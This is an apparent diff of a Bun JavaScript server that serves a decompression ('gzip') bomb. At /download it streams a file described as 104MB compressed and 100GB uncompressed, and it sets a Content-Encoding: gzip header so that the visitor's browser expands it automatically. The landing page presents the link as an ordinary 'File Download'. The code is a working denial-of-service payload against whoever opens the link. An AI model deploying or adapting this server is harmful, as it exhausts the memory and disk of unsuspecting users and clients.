···
1
+
import { serve } from "bun";
2
+
import { file } from "bun";
5
+
const ZIP_FILE_PATH = "./bigboy.gz"; // Path to your compressed file
10
+
const url = new URL(req.url);
12
+
// Only serve the file at the /download endpoint
13
+
if (url.pathname === "/download") {
15
+
// Use Bun's file API to get the compressed file
16
+
const compressedFile = file(ZIP_FILE_PATH);
17
+
const fileSize = compressedFile.size;
19
+
// Set headers to trigger browser decompression
20
+
const headers = new Headers();
21
+
headers.set("Content-Type", "application/octet-stream");
22
+
headers.set("Content-Length", fileSize.toString());
23
+
headers.set("Content-Encoding", "gzip");
24
+
headers.set("Content-Disposition", `attachment; filename="bomb.gz"`);
25
+
headers.set("Cache-Control", "no-store, max-age=0");
26
+
headers.set("ETag", `"${Math.random().toString(36).substring(2, 15)}"`);
27
+
headers.set("X-Compression-Ratio", "666:1");
29
+
return new Response(compressedFile.stream(), {
34
+
console.error("Error serving file:", error);
35
+
return new Response("Error serving file", { status: 500 });
39
+
// Serve a simple HTML page with a download link
40
+
return new Response(
45
+
<title>File Download</title>
48
+
<h1>Compressed File Server</h1>
49
+
<p>Click below to download the file (104MB compressed, 100GB uncompressed)</p>
50
+
<a href="/download">Download File</a>
56
+
"Content-Type": "text/html",
63
+
console.log(`Server running at http://localhost:${PORT}`);